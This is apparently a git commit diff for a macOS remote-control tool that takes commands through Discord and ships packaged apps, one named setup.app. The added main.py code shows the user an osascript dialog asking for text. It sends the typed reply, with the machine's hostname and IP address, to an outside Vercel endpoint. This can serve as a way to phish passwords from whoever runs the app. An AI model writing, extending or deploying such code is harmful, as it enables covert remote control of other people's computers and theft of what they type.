diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 02:04:42 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-08-30 02:04:42 +0800 |
| commit | 313d12d0f9319fbf2621544d525d9d5a2ba0c2b2 (patch) | |
| tree | 7a70d1d9c25df5d910ed67fa3b96a9450c9f5f51 | |
| parent | 24b82deca2406240f4f56a83fa65fb85bebd0de6 (diff) | |
udpated
| -rwxr-xr-x | dist/main-mac | bin | 7454752 -> 7455232 bytes | |||
| -rw-r--r-- | dist/main.app.zip | bin | 7380179 -> 7380681 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 7454752 -> 7455232 bytes | |||
| -rw-r--r-- | dist/setup.app.zip | bin | 7372312 -> 7372312 bytes | |||
| -rw-r--r-- | main.py | 21 |
5 files changed, 21 insertions, 0 deletions
diff --git a/dist/main-mac b/dist/main-mac Binary files differindex 55e367e..4bd5da9 100755 --- a/dist/main-mac +++ b/dist/main-mac diff --git a/dist/main.app.zip b/dist/main.app.zip Binary files differindex 5ba3664..efe36da 100644 --- a/dist/main.app.zip +++ b/dist/main.app.zip diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differindex 384b7a0..f080f39 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app.zip b/dist/setup.app.zip Binary files differindex 155a441..eafb956 100644 --- a/dist/setup.app.zip +++ b/dist/setup.app.zip @@ -223,6 +223,27 @@ while True: except KeyboardInterrupt: continue continue + elif localcmd[1] == 'askdialog' or localcmd[1] == 'asklog' or localcmd == 'question': + if localcmd[2<len(localcmd)]: + r = system(f'osascript -e \'display dialog "{localcmd[2]}" default answer ""\' -e \'text returned of result\' -e \'\'', shell=True, stdout=PIPE, stderr=PIPE) + cmdout, cmderr = r.communicate() + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```") + except: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to ask with dialog```") + except KeyboardInterrupt: + continue + continue + else: + try: + post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Please do question argument```") + except KeyboardInterrupt: + continue + continue + + + elif localcmd[1] == 'notify' or localcmd[1] == 'notification': if localcmd[4>len(localcmd)]: if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0: |
